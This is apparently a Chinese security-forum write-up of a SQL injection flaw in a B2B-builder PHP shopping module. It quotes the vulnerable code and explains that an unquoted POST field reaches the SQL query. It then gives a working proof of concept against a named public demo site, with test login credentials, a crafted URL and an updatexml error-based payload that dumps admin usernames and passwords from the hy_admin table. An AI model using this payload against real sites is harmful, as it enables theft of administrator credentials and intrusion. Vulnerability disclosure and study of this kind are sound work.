我们看到到module\buy\admin\add_cart.php
[PHP] 纯文本查看 复制代码 if(!empty($_POST["cat"])&&!empty($_GET["id"]))
{
$ext_table=$config['table_pre'].'defind_'.$_POST['ext_field_cat'];
$_POST['ext_field_cat']*=1;
if($_POST['pid']!=0)
{
if($_POST["pid"]!==substr($_GET['id'],0,strlen($_GET['id'])-2))
{
$s=$_POST["pid"]."00";
$b=$_POST["pid"]."99";
$sql="select max(catid) as catid from $cat_table where catid>$s and catid<$b";
$db->query($sql);
$re=$db->fetchRow();
$id=$re["catid"];
if(!$id)
$id=$_POST["pid"]."01";
else
$id=$id+1;
}
else
$id=$_GET['id'];
//编辑当前类别信息
$sql="update $cat_table set catid='$id', cat='".$_POST['cat']."',isindex='".$isindex."'
,pic='$_POST[pic]',brand='$_POST[brand]',ext_table='$ext_table',ext_field_cat='$_POST[ext_field_cat]',template='$_POST[template]' where catid='".$_GET['id']."'";
$re=$db->query($sql);
//如果当前类别下面带有子类别把子类别一起移过去
$s=$_GET['id']."00";
$b=$_GET['id']."99";
$sql="update $cat_table set catid=replace(catid,$_GET[id],$id) where catid>=$s and catid<=$b";
$re=$db->query($sql);
}
只要满足!empty($_POST[“cat”])&&!empty($_GET[“id”]就会进入下面的流程。
然后$s为被单引号包裹,直接进入sql语句。然后造成sql注入。
我们用demo做测试
首先注册一个账号
http://democn.b2b-builder.com
账号密码都为test
然后构造
[PHP] 纯文本查看 复制代码 http://democn.b2b-builder.com/main.php?m=buy&s=admin/add_cat&id=111
其中post数据包为
[PHP] 纯文本查看 复制代码 cat=1&pid=1 or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23
|